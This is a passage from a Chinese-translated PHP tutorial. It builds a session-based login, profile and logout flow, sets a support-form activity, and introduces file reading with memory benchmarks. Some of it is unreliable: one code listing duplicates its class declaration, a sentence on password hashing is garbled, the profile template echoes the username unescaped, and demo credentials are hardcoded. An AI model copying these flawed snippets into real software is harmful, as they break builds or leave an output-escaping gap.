目前,点击Profile按钮(即/profile URI 路径)将使相同的模板渲染。实际上,任何 URI 路径都会使相同的main模板渲染。现在,我们可能想添加一些逻辑并打印不同的模板用于我们的个人资料页面。为此,我们应该在传递给\Components\Template::render()方法的关联数组中提供content数据。作为一个回顾,\Components\Template::render()方法将导入content数组键,并将其作为$content变量提供,该变量将在main模板中渲染(记住main模板中的if (isset($content)) { echo $content; }部分)。

为每个 URI 路径返回特定的模板内容(通过检查 $_SERVER['PATH_INFO'] 的值)是有意义的,而且由于返回的页面通常包括动态或变化的内容,我们需要一个 地方 来处理我们提供给 \Components\Template::render() 方法的所有数据。为此,我们将使用请求处理器;即存储在 src/handlers/ 目录中的类。为了回顾,对于每个请求,脚本必须为 URI 路径分配一个处理器类,而处理器类负责处理请求并将内容返回到 main 模板(你可以通过使用 Template 组件或直接返回字符串来实现)。

在上一个练习中,我们构建了应用程序的主页。现在,我们将继续在下一个练习中构建我们的应用程序。

练习 6.11:构建应用程序:个人资料页面和登录表单

在这个练习中,我们将设置处理器的一般功能并创建抽象类 \Handlers\Handler,它将由实际处理器扩展。我们将其声明为抽象的,因为我们不希望它被实例化,而是被扩展。它的目的是定义一些共同的功能,例如返回页面标题或为 HTTP 响设置重定向请求,但也要求每个处理器类实现负责请求处理的方法——我们将简单地称它为 handle()

  1. 保存 src/handlers/Handler.php 文件内容,它应该看起来像这样:

    Handler.php
    1  <?php
    2  declare(strict_types=1);
    3  
    4  namespace Handlers;
    5  
    6  abstract class Handler
    7  abstract class Handler
    8  {
    9      private $redirectUri = '';
    10     abstract public function handle(): string;
    11
    12     public function getTitle(): string
    13     {
    14         return 'Learning PHP';
    15     }
    https://packt.live/2PahU4c
    
  2. 要访问个人资料页面,我们需要一个经过认证的用户;因此,让我们构建登录表单和认证逻辑。将以下代码添加到 Login 处理器中:

    <?php
    declare(strict_types=1);
    namespace Handlers;
    class Login extends Handler
    {
        public function handle(): string
        {
            return (new \Components\Template('login-form'))->render();
        }
    }
    

    \Handlers\Login 处理器执行的操作是实现 handle() 方法,这是必须的,因为它扩展了 \Handlers\Handler 抽象类。在 handle() 方法中,我们返回渲染的 "login-form" 模板。

  3. 如其名所示,"login-form" 模板将包含登录表单的 HTML 标记。我们在这里想要的是一个表单标题,例如 "Authentication",以及 "username" 和 "password" 输入框及其标签,还有提交按钮。由于凭证不应出现在浏览器的地址栏中,我们选择的表单方法是 POST。如果表单提交但数据验证因某些原因失败,之前输入的用户名将自动显示在 username 字段中(<?= htmlentities($formUsername ?? '') ?>)。另外,当认证失败时,原因将在特定字段下方,在一个具有 invalid-feedback CSS 类的 div 元素中显示。

    让我们将 login-form 模板保存到 src/templates/login-form.php 文件中:

    login-form.php
    1 <div class="d-flex justify-content-center">
    2     <form method="post" action="/login" style="width: 100%;         max-width: 420px;">
    3         <div class="text-center mb-4">
    4             <h1 class="h3 mb-3 font-weight-normal">Authenticate</h1>
    5             <p>Use <code>admin</code> for both username and password.</p>
    6         </div>
    https://packt.live/2MA0dtk
    

    注意,我们使用 htmlentities() 来转义包含随机、动态数据(如用户输入)的变量的输出。

  4. 我们已经有了Login处理程序和login-form模板。我们现在需要为/login路径运行该处理程序。由于我们还将添加更多类似规则(例如,为/profile路径运行Profile处理程序),将此功能组合到特定组件中是有意义的。我们将使用\Components\Router组件来完成此目的。这个Router组件将确切地执行根据 URI 路径($_SERVER['PATH_INFO']值)将传入请求路由到特定处理程序的操作。这可以通过使用switch语句简单地实现。所有这些逻辑都将放入唯一的一个名为getHandler()的方法中:

    // src/components/Router.php
    public function getHandler(): ?Handler
    {
        switch ($_SERVER['PATH_INFO'] ?? '/') {
            case '/login':
                return new Login();
            default:
                return null;
        }
    }
    
  5. 现在我们可以使用index.php文件(应用程序的入口点)中的路由器实例来获取当前请求的处理程序或null。当返回非空值时,我们可以使用Handlers\Handler::handle()方法处理请求,检查重定向请求,获取页面标题,并为main模板设置适当的数据(即内容和标题):

    // web/index.php
    $router = new \Components\Router();
    if ($handler = $router->getHandler()) {
        $content = $handler->handle();
        if ($handler->willRedirect()) {
            return;
        }
        $templateData['content'] = $content;
        $templateData['title'] = $handler->getTitle();
    }
    
  6. 现在,当有人输入一个 URI 路径,该路径不在\Components\Router::getHandler()方法的switch语句中列出(通常是因为拼写错误)时,它将使该方法返回null,这将导致main模板使用默认内容(Hello world块)进行渲染。我们不应允许这种行为,因为我们的网站页面被搜索引擎索引,并被标记为重复内容。我们可能希望显示一个404 - Not found错误页面,或者重定向到现有页面,例如主页。我们将选择使用/路径重定向到主页:

    Router.php
    12 public function getHandler(): ?Handler
    13 {
    14     switch ($_SERVER['PATH_INFO'] ?? '/') {
    15         case '/login':
    16             return new Login();
    17         case '/':
    18             return null;
    19         default:
    20             return new class extends Handler
    21             {
    22                 public function handle(): string
    23                 {
    24                     $this->requestRedirect('/');
    25                     return '';
    26                 }
    https://packt.live/32F56qK
    Router.php
    1 <?php declare(strict_types=1);
    2 
    3 namespace Components;
    4 
    5 use Handlers\Handler;
    6 use Handlers\Login;
    7 use Handlers\Logout;
    8 use Handlers\Profile;
    https://packt.live/35Ycxem
    
  7. web/index.php将变为以下内容:

    <?php
    declare(strict_types=1);
    require_once __DIR__ . '/../src/components/Template.php';
    require_once __DIR__ . '/../src/components/Router.php';
    require_once __DIR__ . '/../src/handlers/Handler.php';
    require_once __DIR__ . '/../src/handlers/Login.php';
    $mainTemplate = new \Components\Template('main');
    $templateData = [
        'title' => 'My main template',
    ];
    $router = new \Components\Router();
    if ($handler = $router->getHandler()) {
        $content = $handler->handle();
        if ($handler->willRedirect()) {
            return;
        }
        $templateData['content'] = $content;
        $templateData['title'] = $handler->getTitle();
    }
    echo $mainTemplate->render($templateData);
    
  8. 让我们看看到目前为止我们有什么。在浏览器中访问http://127.0.0.1:8080/login URL;输出应该看起来像这样:![图 6.38:登录页面

    ![img/C14196_06_38.jpg]

    图 6.38:登录页面

    在这里,我们有一个看起来很不错的登录表单,但到目前为止还没有任何功能。让我们在\Handlers\Login处理程序类中添加一些功能。

  9. 首先,我们需要存储用户名和密码,由于我们将在下一章学习数据持久性,让我们直接在 PHP 脚本中定义这些值:

    $username = 'admin';
    $passwordHash = '$2y$10$Y09UvSz2tQCw/454Mcuzzuo8ARAjzAGGf8OPGeBloO7j47Fb2v.  lu'; // "admin" password hash
    

    注意,出于安全原因,我们不存储明文密码,而且永远不应该这样做。此外,一个好的做法是避免将密码散列添加到password_hash()中,该函数需要密码字符串作为第一个参数,并将散列算法作为第二个参数的整数。盐由password_hash()函数自动生成,并用于使用bcrypt算法获取密码散列。使用 PHP 立即获取密码散列非常简单,只需在终端运行一段简短的内联代码:php -r "echo password_hash('admin', PASSWORD_BCRYPT), PHP_EOL;"

  10. POST 请求的情况下,我们必须验证登录尝试;因此,我们应该执行用户名和密码匹配。如果有用户名或密码不匹配,错误将被添加到 $formError 关联数组中的 username 键(在用户名不匹配的情况下),以及 password 键(在密码不匹配的情况下)。为了验证密码匹配,我们将使用 password_verify() 内置函数,它需要明文密码作为第一个参数,密码哈希作为第二个参数;如果匹配,则返回 TRUE,否则返回 FALSE

    $formUsername = $_POST['username'] ?? '';
    $formPassword = $_POST['password'] ?? '';
    if ($formUsername !== $username) {
        $formError = ['username' => sprintf('The username [%s] was not       found.', $formUsername)];
    } elseif (!password_verify($formPassword, $passwordHash)) {
        $formError = ['password' => 'The provided password is invalid.'];
    }
    
  11. 表单错误和提交的表单用户名将在 render() 方法中发送到模板:

    return (new \Components\Template('login-form'))->render([
        'formError' => $formError,
        'formUsername' => $formUsername ?? ''
    ]);
    
  12. 如果用户名和密码匹配,则将用户名和登录时间添加到会话数据中,然后重定向到配置文件页面:

    $_SESSION['username'] = $username;
    $_SESSION['loginTime'] = date(\DATE_COOKIE);
    $this->requestRedirect('/profile');
    

    注意

    为了使用 $_SESSION 超全局变量,必须首先启动会话,因此我们必须在较高层级的地方执行它,因为我们可能需要在应用程序的其他地方使用会话数据,而不仅仅是 Login 处理器。我们将在 web/index.php 文件中 require_once 语句列表之后添加 session_start();

  13. 我们也可以在 \Handlers\Login::handle() 方法一开始就检查会话用户名是否已经设置(即,是否已经进行了认证)以防止登录表单显示另一个登录尝试正在进行,如果是这样,则将用户重定向到主页:

    if (isset($_SESSION['username'])) {
        $this->requestRedirect('/');
        return '';
    }
    

    注意

    到目前为止,我们已经完成了 Login 处理器的逻辑,内容可以参考 packt.live/2OJ9KzA

  14. 我们现在已经有了登录表单和认证功能;让我们通过添加受保护的配置文件页面来继续。由于只有经过认证的用户才能访问此页面,我们将检查会话数据中的 username 条目。当没有用户认证时,我们将显示登录表单(在 \Handlers\Profile 处理器中执行此操作):

    if (!array_key_exists('username', $_SESSION)) {
        return (new Login)->handle();
    }
    

    换句话说,当用户未认证时,/login 页面将在 /profile 页面中渲染。

    注意

    在会话数据中检查 "username" 条目,在这个例子中,是我们判断用户是否登录的一种方式,这并不像它本来的那样安全和有用。如今,使用开源解决方案来处理认证是一个更好的替代方案,因为会话登录数据包含更多信息,例如登录方法、时间、哈希算法、令牌、有效期以及其他可能有用的数据,这些数据用于验证认证。

  15. 否则,如果我们有一个经过认证的用户,我们将渲染并返回 profile 模板,将用户名和会话数据提供给模板的 render() 方法:

    return (new \Components\Template('profile'))->render([
        'username' => $_SESSION['username'],
        'sessionData' => var_export($_SESSION, true)
    ]);
    
  16. 此外,让我们通过扩展父类中的 getTitle() 方法来添加 Profile 页面的标题。新标题将包括在父类提供的默认标题之前添加的单词 Profile:

    public function getTitle(): string
    {
        return 'Profile - ' . parent::getTitle();
    }
    
  17. 保存 src/handlers/Profile.php 文件;完整内容应如下所示:

    Profile.php
    1  <?php
    2  declare(strict_types=1);
    3
    4  namespace Handlers;
    5
    6  class Profile extends Handler
    7  {
    8      public function handle(): string
    9      {
    10         if (!array_key_exists('username', $_SESSION)) {
    11             return (new Login)->handle();
    12         }
    https://packt.live/2MzC06l
    
  18. profile 模板将仅显示用户名和作为变量提供的会话数据,以及用于 href 属性的 /logout 值:

    <section class="my-5">
        <h4>Welcome, <?= $username ?>!</h4>
    </section>
    <p>Session data: </p>
    <pre><code><?= $sessionData ?></code></pre>
    <hr class="my-5">
    <p><a href="/logout">Logout</a></p>
    
  19. Logout 处理器将重新生成会话 ID 并销毁当前会话的数据。此外,将在网站主页上请求重定向:

    <?php
    declare(strict_types=1);
    namespace Handlers;
    class Logout extends Handler
    {
        public function handle(): string
        {
            session_regenerate_id(true);
            session_destroy();
            $this->requestRedirect('/');
            return '';
        }
    }
    
  20. 我们需要在 Router 组件中添加 ProfileLogout 处理器:

    Router.php
    1  <?php
    2  declare(strict_types=1);
    3
    4  namespace Components;
    5
    6  use Handlers\Handler;
    7  use Handlers\Login;
    8  use Handlers\Logout;
    9  use Handlers\Profile;
    10 
    11 class Router
    https://packt.live/2BAGrYp
    
  21. 此外,应在 web/index.php 中包含 src/handlers/Logout.phpsrc/handlers/Profile.php 文件:

    index.php
    1  <?php
    2  declare(strict_types=1);
    3
    4  require_once __DIR__ . '/../src/components/Template.php';
    5  require_once __DIR__ . '/../src/components/Router.php';
    6  require_once __DIR__ . '/../src/handlers/Handler.php';
    7  require_once __DIR__ . '/../src/handlers/Login.php';
    8  require_once __DIR__ . '/../src/handlers/Logout.php';
    9  require_once __DIR__ . '/../src/handlers/Profile.php';
    10 session_start();
    11 
    12 $mainTemplate = new \Components\Template('main');
    13 $templateData = [
    14     'title' => 'My main template',
    15 ];
    https://packt.live/35XZg5O8
    

    注意

    使用 composer 这样的工具来实现自动加载功能,或者任何其他实现 "PSR-4: Autoloader" 的方法,将使处理代码的加载变得更加容易。composer 的使用将在 第九章Composer 中介绍。

  22. 似乎一切都已经完成;让我们看看网站是如何工作的。从页眉中点击 Profile 链接。输出应该如下所示:图 6.39:Profile 页面,显示未认证用户的登录表单

    图 6.39:Profile 页面,显示未认证用户的登录表单

  23. 将用户名和密码都输入为 admin,然后点击 Login 按钮。你现在应该能够访问 Profile 页面了!img/C14196_06_40.jpg

    图 6.40:Profile 页面,显示认证用户的登录信息

    点击 Home,然后返回 Profile,刷新页面。你会注意到会话在请求之间没有丢失。

  24. 从 Profile 页面点击 Logout 链接。你应该会被重定向到主页。再次访问 Profile 页面将导致显示登录表单,如图 图 6.39 所示。

恭喜!你刚刚构建了你的第一个网站,这只是开始。在这个练习中,你根据代码的目的进行了代码拆分,你使用了诸如输入验证和输出转义等安全措施,并且使应用程序能够适当地响应任何 HTTP 请求。

活动 6.1:创建支持联系表单

你被要求在一个新的品牌网站上实现一个支持联系表单。该表单仅对认证用户可用,在个人资料页面上,认证部分也由你负责。将有两种类型的用户:标准和 VIP 级别。标准用户每天只能请求一次支持,而 VIP 用户则没有限制。表单将包含以下字段:回复应发送到的姓名和电子邮件以及消息。在注册之前,应清理和验证表单数据。规则如下:所有必填字段都应填写,使用有效的电子邮件地址,并且消息长度不应少于 40 个字符。

基本页面布局应如下所示:

![图 6.41:预期的页面布局

![img/C14196_06_41.jpg]

图 6.41:预期的页面布局

给定这些数据,我们继续进行。由于功能性和一些布局与之前的练习非常相似,我们可以使用那段代码作为起点,并根据我们的规格进行调整和添加。你可以将之前的练习中的代码复制到另一个目录中,以保留练习解决方案的副本,并在当前目录中继续工作,其中内置服务器已经启动。记录在案,我的当前工作目录是 /app

注意

在开始之前,请确保通过在浏览器中访问 http://127.0.0.1:8080/logout URL 来注销你的当前会话。

执行此活动的步骤如下:

  1. 编写代码以获取已登录用户的用户数据。

  2. 实现 \Handlers\Login::handle() 方法以验证用户凭证。

  3. 创建一个登录表单。你可以使用之前的练习中的代码;然而,确保你删除了凭证提示(例如管理员的用户名和密码)。

  4. 创建个人资料页面。在这里,你应该从头开始构建 src/templates/profile.php 文件。首先,添加问候语和注销按钮。

  5. 添加一个支持区域并将其分为两个相等的水平部分。

  6. 创建一个符合以下规范的支撑联系表单:两个类型为 text 的输入框,用于姓名和电子邮件,以及一个用于消息的文本区域输入框。每个输入框都将有一个关联的 <label> 元素,如果存在错误,这些错误将打印在包含错误数据的输入框下方。

    注意

    你可以参考 Bootstrap 框架文档并使用 alerts 组件。

  7. 编写代码以防止标准级别用户每天发送超过一个表单。再次提醒,你可以使用 Bootstrap 框架的 alerts 组件。

  8. 通过生成和使用 CSRF 令牌来保护表单。

  9. 在提交按钮上,我们可能还想添加更多表单数据,这样我们就可以确定在 PHP 脚本中必须处理哪个表单;当单个 HTML 页面上添加了许多表单,并且每个表单都向同一 URL 发送数据时,这非常有用。

  10. 编写代码以显示消息列表历史记录。你可以选择card组件并打印所有消息详情。每个存储的历史条目将包含表单数据(即form键)和表单发送的时间(即timeAdded键)。

  11. 编写代码以验证提交的表单,然后编写代码以在验证成功时刷新页面。

  12. 输入代码以将以下数据发送到模板:用户名(问候语)、如果有表单错误,表单 CSRF 令牌,以及sent表单历史记录。

  13. 在单独的方法中添加表单验证逻辑。

  14. 在标准级用户的情况下检查多次提交。

  15. 编写代码以在用户尝试提交空名称字段时显示错误消息。

  16. 使用filter_var()函数和FILTER_VALIDATE_EMAIL 验证实现电子邮件验证。

  17. 对于消息字段,编写代码以确保消息至少有 40 个字符长。

  18. 收集清洗后的表单数据,并将其存储在$form变量中,然后与$errors变量一起返回。

  19. 现在我们可以测试我们的完整实现。你可以通过访问http://127.0.0.1:8080/profile页面开始测试,并继续对所有页面上的所有字段进行测试。

    注意

    该活动的解决方案可以在第 520 页找到。

摘要

在本章中,你了解了一个 Web 应用程序的基本组件——应用程序的请求-响应周期。你解析了最常用的 HTTP 方法,现在你能够区分它们。你了解了数据安全、代码组织和推荐方法方面的最佳实践。你还可以执行数据清洗和验证,你知道如何在服务器上上传文件、验证用户和使用会话,以及其他事情。当然,你还学习了如何将所有示例引导到一个实用的成果——一个 Web 应用程序。

我们还没有完成。数据持久性在本章中被提及多次,并非徒劳。每个应用程序都使用数据持久性,它代表了应用程序存在的本质原因——收集、处理和存储数据。尽管我们在本章的练习中也存储了数据(例如,在会话或 cookie 中),但在下一章中,我们将讨论中长期的数据;也就是说,存储在文件和数据库中的数据。

第七章:7. 数据持久性

概述

到本章结束时,你将能够执行与文件系统相关的操作(读取、写入、复制、移动和删除);逐行读取大文件,一次读取一个 CSV 文件记录;使用 PHP 通过浏览器下载文件;使用 PHP 连接到 MySQL 关系数据库管理系统;使用 PHP 创建数据库和表,并将记录插入到 MySQL 数据库中;使用 PHP 查询、更新和删除 MySQL 数据库中的数据;以及使用 PHP 中的预处理语句来确保 MySQL 查询的安全性。

简介

在上一章中,我们看到了如何使用 PHP 超级全局变量处理用户输入,并应用了清理和验证以确保应用程序的安全性。我们还学习了如何将用户的会话保持在服务器上,并构建了一个小型应用程序。在那个应用程序中,我们使用会话来存储数据,这些数据随着每个会话的销毁(或注销)而消失。

在本章中,我们将学习如何使用 PHP 存储和读取持久数据。具体来说,我们将学习如何处理文件 I/O(打开、读取和写入)和磁盘操作(更改当前目录、创建新文件/目录、删除文件或目录等)。当你想使用文件系统来存储重要的应用程序日志、生成各种报告、处理上传的用户图像等时,这非常有用。我们还将学习如何连接到 MySQL 数据库以及如何查询数据、插入新记录以及更新或删除数据库中的数据。当你想以结构化的方式存储数据,以便其他许多应用程序可以轻松访问时,这很有帮助;例如,用户特定的数据,如名字、姓氏、电子邮件地址和密码散列。不仅如此——很可能,你的应用程序将对存储在某个地方以备请求读取的数据进行数据操作。这类数据可能代表业务领域的元素,可能包括产品列表、价格、折扣券、订单、订阅等。我们还将在本章中处理安全问题。因此,我们将学习如何保护我们的数据库免受潜在的恶意用户输入的侵害。

文件 I/O 处理

文件系统操作在编程中非常重要。我们可以列举 PHP 中的会话数据存储;用户上传的文件、生成的报告文件、缓存数据、日志等,它们都使用了文件系统。当然,还有许多其他持久化存储的替代方案,但了解如何在一种语言中操作文件系统尤其重要,因为它无处不在且可以立即使用。

在处理文件系统时,有时您可能想要读取或写入存储在相对于脚本文件位置的已知位置的文件。例如,对于在 /app/demo/ 目录中创建的脚本,它想要从相对于其位置的 source/ 目录(换句话说,/app/demo/source/)读取文件,了解脚本位置会更好。

这与当前工作目录不同,因为您也可能从其他位置运行脚本。例如,如果当前工作目录是 /root,您可以通过提供以下之一来运行脚本:相对路径,php ../app/demo/the-script.php,或绝对路径,php /app/demo/the-script.php。在这种情况下,当前工作目录是 /root,而脚本目录是 /app/demo

这引出了下一个要点。PHP 提供了一些“魔法常量”;它们的值根据它们的使用位置在脚本之间变化。魔法常量的列表如下:

图 7.1:魔法常量和它们的描述

图 7.1:魔法常量和它们的描述

图 7.1:魔法常量和它们的描述

在我们的情况下,我们希望使用脚本中的 __DIR__ 常量。脚本需要查找的目录将是 $lookupDir = __DIR__ . '/source';

使用 PHP 读取文件

在 PHP 中处理文件是做起来最容易的事情之一。PHP 有几个函数用于处理文件操作,包括创建、读取和更新/编辑。使用 PHP 文件系统函数不需要额外的安装。

简单文件读取

用于读取文件的最简单函数之一是 file_get_contents()。这个函数可以用来获取文件的所有内容并将其放入一个变量中,例如。其语法如下:

file_get_contents (string $filename [, bool $use_include_path = FALSE [, resource $context [, int $offset = 0 [, int $maxlen ]]]])
  • $filename: 第一个参数是必需的,应该是一个有效的文件路径,用于读取。

  • use_include_path: 这是一个可选参数,告诉 file_get_contentsinclude_path 目录列表中查找 $Filename

  • $context: 这是一个可选参数,是一个使用 stream_context_create() 创建的有效上下文资源。

  • $offset: 这是一个可选参数。偏移计数从原始流开始。

  • $maxlen: 这是一个可选参数,表示要读取的数据的最大长度。默认情况下,它读取到文件末尾。

file_get_contents() 函数在给出任何输出之前将文件内容读入内存,直到整个文件被读取。这是一个缺点,使得这个函数在不知道输入文件大小时不适用。在处理大文件的情况下,比如说超过 1 GB,PHP 进程会非常快地填满分配的 RAM 内存,这会导致脚本崩溃。因此,这个函数仅在预期文件大小小于 PHP 中的 memory_limit 配置条目时适用。

练习 7.1:简单文件读取(一次性读取)

假设你需要开发一个脚本,该脚本能够从 CSV 格式的文件中导入用户列表到当前应用程序中。

首先,让我们准备环境:

  1. 在当前工作目录中创建一个 sample 目录。

  2. 从代码仓库下载名为 users_list.csv 的 CSV 文件,并将其放入 sample 目录中。

  3. 在这个练习中,我们将通过提供 CSV 文件的路径来调用 file_get_contents()

    <?php echo file_get_contents(__DIR__ . '/sample/users_list.csv');
    

    我们正在调用 file_get_contents() 函数,指定文件路径,我们接收的是完整的文件内容。对于文件路径,我们使用 __DIR__ 魔术常量,它在编译时会被替换为文件目录路径。

    将前面的 PHP 脚本保存为 file_get_contents.php 文件,存放在 sample 目录的父目录中。

  4. 在你的终端中运行 php file_get_contents.php

![图 7.2:打印文件内容]

图片 C14196_07_02

![图 7.2:打印文件内容]

你将得到如上所示的 CSV 文件输出。

使用 fread 函数读取文件

如前所述,file_get_contents() 函数不适合用于处理大文件,因为它首先将整个文件内容读入内存,然后再进行任何输出,这会使脚本在资源使用和性能方面都非常低效。

在接下来的练习中,我们将探索一些函数,这些函数将允许我们解析大文件,同时确保系统内存安全。这意味着我们将使用一种技术,允许我们一次读取文件内容的一部分,这可以通过使用一组 PHP 内置函数和一个数据流 PHP 资源来实现。在 PHP 中,资源是对外部资源的引用;在我们的例子中,它将是对数据流资源的引用(例如,系统文件或 URL)。

fopen() 是 PHP 的内置函数之一,用于在 PHP 中创建流资源。为了在处理文件(或任何其他数据流)方面获得更大的灵活性,我们将使用 fopen() 函数。fopen() 函数接受两个必需的参数,$filename 是第一个参数,访问模式是第二个参数。访问模式描述了流资源的访问类型(读取、写入、读写)并在创建流时解析为一系列指令。它可以有以下值之一:

图片 C14196_07_03

图 7.3:不同的访问模式及其描述

你会在前面的表中注意到“文件指针”的概念。你可以将这个简单而强大的概念想象成文本文件中的光标。例如,如果我们处理的是包含 Learning PHP fundamentals 内容的文件流资源,文件指针在位置九意味着它位于单词 PHP 之前。从该位置读取到文件末尾将产生 PHP fundamentals 输出。

fopen() 函数返回文件指针资源或 false,如果操作失败。

要从数据流中读取,我们将使用 fread() 函数。此函数需要两个参数,第一个是资源变量,第二个是要读取的字节数。如果失败,它返回读取的字符串或 false

可以用于从流资源中读取的其他函数有 fgets()fgetcsv(),仅举两例。fgets() 从文件指针返回一行;它需要流资源作为第一个参数,并接受可选的读取长度(字节)作为第二个参数。fgetcsv()fgets() 类似——它返回包含读取 CSV 字段的行作为数组,但此行是解析为 CSV 的数据行(这意味着可能读取多行字符串数据,因为一个 CSV 字段可以包含多行数据)。fgetcsv() 函数接受多个参数,但通常只需要所需的流资源(第一个参数)就可以很好地解析并返回 CSV 行数据。

在从流中读取时,我们可能想知道何时遇到文件末尾。我们可以使用 feof() 函数来实现这一点,该函数将检查文件指针是否位于文件末尾(EOF)。如果文件指针位于 EOF 或发生错误,该函数返回 true。否则返回 false

注意

feof() 对于无效的流也返回 false,因此建议在调用 feof() 之前测试您的流资源。

练习 7.2:使用 fread() 函数读取文件

假设你被要求优化用户的导入脚本,以便能够处理十几个吉字节的大数据文件:

  1. 创建一个 fread.php 文件并插入以下内容。

  2. 首先,我们定义文件路径,然后在调用 fopen() 获取文件指针资源时使用它。我们检查 fopen() 是否返回了预期的资源(不是 false)。如果失败,脚本将退出:

    <?php
    $filePath = __DIR__ . '/sample/users_list.csv';
    $fileResource = fopen($filePath, 'r');
    if ($fileResource === false) {
        exit(sprintf('Cannot read [%s] file.', $filePath));
    }
    
  3. 现在,我们将使用 fread() 函数,该函数将分块读取文件,允许我们依次操作小数据块,直到文件完全读取。接下来,我们定义要读取的长度,以字节为单位。

    $readLength = 64;
    $iterations = 0;
    
  4. 使用 fread()$fileResource 资源中读取,并在 while 循环中使用 feof() 检查 EOF:

    while (!feof($fileResource)) {
        $iterations++;
        $chunk = fread($fileResource, $readLength);
        echo $chunk;
    }
    
  5. 最后,我们关闭文件指针资源,因为我们不再需要它,并打印迭代次数:

    fclose($fileResource);
    echo sprintf("\n%d iteration(s)", $iterations);
    
  6. 使用 php fread.php 命令在您的终端中运行文件。输出将如下所示:

![图 7.4:使用 fread() 文件读取的文件输出]

图 7.4:使用 fread() 文件读取的文件输出

图 7.4:使用 fread() 文件读取的文件输出

由于文件包含 65 个字符,并且块大小设置为 64,因此文件被读取了两次。这意味着在第一次迭代中,fread()用 64 字节的数据填充内存,然后返回并释放占用的内存;在第二次迭代中,fread()在返回之前用 1 字节(剩余的文件内容)填充内存并释放内存。这种方法的优势在于,我们可以每次读取迭代时使用小块内容,同时使用少量的内存资源,而不是将整个文件加载到内存中,然后逐行迭代和处理内容。

文件读取基准测试

在前面的示例中,我们看到了两种读取文件方法的区别,但在这里,你将评估指标以基准测试每种文件读取方法。

我们将使用相同的脚本,但将添加一些测量值。

我们将使用memory_get_peak_usage()函数来检索某个时间点的峰值内存使用量,正如其名所示。此函数接受一个可选参数,默认设置为false,除非指定值;当你想要报告分配的内存时(我们将在以下练习中这样做),而不是实际的内存使用量时,你应该将其设置为true

在以下练习中,我们将使用 PHP 隐含存在的DIRECTORY_SEPARATOR常量,它如下设置目录分隔符:

  • Windows:反斜杠字符"\"

  • 非 Windows:斜杠字符"/"

练习 7.3:文件读取基准测试

在这个练习中,我们将评估指标以基准测试每种文件读取方法:

  1. 首先,我们需要一个相当大的文件,我们将使用dd命令生成它。

    注意

    dd是 Unix 和 Unix-like 操作系统的命令行实用程序,存在于以下任何一种发行版中。

  2. 运行以下命令以在sample/test-256-mb.txt中生成一个充满零的文件,大小为 256 MB:

    dd if=/dev/zero of=sample/test-256-mb.txt count=1024 bs=262144
    

    这个文件很可能会终止使用file_get_contents()读取它的脚本,因为大多数 PHP 安装默认情况下不允许每个进程超过 128 MB 的内存限制。这个限制默认存储在php.ini配置文件中的memory_limit参数下,如前所述。因此,我们将使用dd创建另一个文件,大小为 10 MB,命令如下:dd if=/dev/zero of=sample/test-10-mb.txt count=1024 bs=10240

  3. 使用以下内容创建file_get_contents-memory.php

    <?php file_get_contents(__DIR__ . DIRECTORY_SEPARATOR . $argv[1]);
    echo sprintf("--\nmemory %.2fMB\n--\n", memory_get_peak_usage(true)   / 1024 / 1024);
    

    在这里,我们使用第一个命令行参数($argv[1]),它将是相对于脚本路径的文件路径。我们还将添加内存峰值指标,使用memory_get_peak_usage()函数。

  4. 运行以下命令以检查资源使用情况:

     time php file_get_contents-memory.php sample/test-10-mb.txt 
    

    你应该基本上得到以下输出:

    --
    memory 12.01MB
    --
    real    0m 0.03s
    user    0m 0.02s
    sys     0m 0.01s
    

    注意

    我们在这里使用了time Linux 命令,它将运行命令并打印资源使用情况。

    在这个示例输出中,12.01 MB 的内存值是由memory_get_peak_usage()函数报告的,它显示这是 PHP 脚本读取 10 MB 文件所需的 RAM 内存量。

  5. 现在,让我们运行相同的脚本,但针对更大的文件:

    time php file_get_contents-memory.php sample/test-256-mb.txt. 
    

    在输出中,我们将看到如下错误信息:

    PHP Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 268443680 bytes) in /app/file_get_contents-memory.php on line 1
    

    如预期的那样,尝试将 256 MB 的文件读入内存失败,因为每个进程的 128 MB 限制被超过了。

  6. 现在,让我们检查另一种方法,使用fread()一次读取文件中的一块数据。创建一个名为fread-memory.php的文件,并插入以下内容。我们根据用户的第一个输入参数存储$filePath变量,并为该文件路径创建资源,存储在$fileResource变量下:

    <?php
    $filePath = __DIR__ . DIRECTORY_SEPARATOR . $argv[1];
    $fileResource = fopen($filePath, 'r');
    
  7. 如果资源无效,脚本将被终止:

    if ($fileResource === false) {
        exit(sprintf('Cannot read [%s] file.', $filePath));
    }
    
  8. 我们将第二个输入参数存储在$readLength变量中,它将采用第二个参数的值,如果第二个参数不存在,则回退到4096。这是fread()函数将从$fileResource读取的字节长度。我们还以零为起始值初始化$iterations变量:

    $readLength = $argv[2] ?? 4096;
    $iterations = 0;
    
  9. 我们使用while循环读取整个文件,就像之前的练习一样。这里的区别在于fread()函数的输出没有被使用。对于每次迭代,我们增加$iterations变量:

    while (!feof($fileResource)) {
        $iterations++;
        fread($fileResource, $readLength);
    }
    
  10. 最后,我们关闭流并打印执行迭代次数和读取文件所需的内存使用量:

    fclose($fileResource);
    echo sprintf("--\n%d iteration(s): memory %.2fMB\n--\n", $iterations,   memory_get_peak_usage(true) / 1024 / 1024);
    

    从之前的file_get_contents-memory.php脚本中改变的是,我们正在一次读取文件中的一块数据,使用$readLength变量。

  11. 现在,让我们运行一些测试,读取 10 MB 的文件:

     time php fread-memory.php sample/test-10-mb.txt 
    

    输出如下:

    --
    2561 iteration(s): memory 2.00MB
    --
    real    0m 0.05s
    user    0m 0.02s
    sys     0m 0.02s
    

    如我们所见,为了读取整个 10 MB 文件,它进行了 2,561 次 4 KB 的读取迭代(第二个script参数缺失,默认将 4,096 字节设置为$readLength变量)。脚本的总时长为 0.05 秒,而使用file_get_contents()时为 0.03 秒。需要注意的是主要区别是内存使用量——2 MB,这是 PHP 脚本每个进程分配的最小内存量,而使用file_get_contents()函数时为 12.01 MB。

  12. 如果读取 1 MB 的数据块而不是默认的 4 KB 会怎样?让我们使用 1,048,576 字节(相当于 1 MB)运行以下命令:

    time php fread-memory.php sample/test-10-mb.txt 1048576
    

    输出现在如下:

    --
    11 iteration(s): memory 4.00MB
    --
    real    0m 0.03s
    user    0m 0.02s
    sys     0m 0.01s
    

    现在,读取整个 10 MB 文件只用了 11 次迭代,峰值 RAM 内存为 4 MB。这次,脚本耗时 0.03 秒,与使用file_get_contents()函数的情况相同。

  13. 现在,让我们读取大文件,该文件无法使用file_get_contents()读取。运行以下命令:

    time php fread-memory.php sample/test-256-mb.txt 
    

    输出如下:

    --
    65537 iteration(s): memory 2.00MB
    --
    real    0m 0.30s
    user    0m 0.16s
    sys     0m 0.13s
    

